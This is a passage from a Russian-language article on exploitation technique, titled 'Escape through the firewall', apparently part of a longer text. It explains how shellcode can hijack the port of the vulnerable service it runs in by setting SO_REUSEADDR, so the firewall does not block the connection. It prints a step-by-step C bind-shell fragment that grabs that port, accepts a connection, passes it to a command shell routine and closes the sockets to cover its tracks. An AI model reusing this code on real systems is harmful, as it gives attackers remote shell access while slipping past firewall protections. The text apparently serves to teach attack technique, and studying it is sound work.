Побег через брандмаузер


Рисунок 7 reuse.gif атакующий


Программная реализация данной атаки вполне тривиальна и отличается от эксплоита bind.c одной-единственной строкой: setsockopt(rsocket, SOL_SOCKET, SO_REUSEADDR, &n_reuse, sizeof(n_reuse)), присваивающей сокету атрибут SO_REUSEADDR. Однако, вместо открытия порта с нестандартным номером, данный код захватывает основной порт уязвимой службы, не вызывая никаких претензий у брандмауэра.

 

// шаг 1: создаем

сокет

if ((rsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;

 

// шаг 2: присваиваем атрибут SO_REUSEADDR

if (setsockopt(rsocket, SOL_SOCKET , SO_REUSEADDR , &n_reuse, 4)) return -1;

 

// шаг 3: связываем сокет с локальным адресом

raddr.sin_family           = AF_INET;

raddr.sin_port                    = htons(V_PORT);                  // уязвимый

порт

raddr.sin_addr.s_addr             = INADDR_ANY;

if (bind(rsocket,(struct sockaddr *) &raddr, sizeof(raddr))) return -1;

 

// шаг 4: слушаем

// при последующих подключениях к уязвимому порту,  управление получит

// shell-код, а не код сервера и этот порт будет обязательно открыт на

// firewall, поскольку это порт "легальной" сетевой службы!

if (listen(rsocket, 0x1)) return -1;

 

// шаг 5: извлекаем сообщение из очереди

csocket = accept(rsocket, (struct sockaddr *) &raddr, &raddr_size);

 

// шаг 6: обмениваемся командами с сокетом

sshell((SOCKET) csocket, MAX_BUF_SIZE);

 

// шаг 7 - подчищаем за собой следы

closesocket(rsocket);

closesocket(csocket);




- Начало -  - Назад -  - Вперед -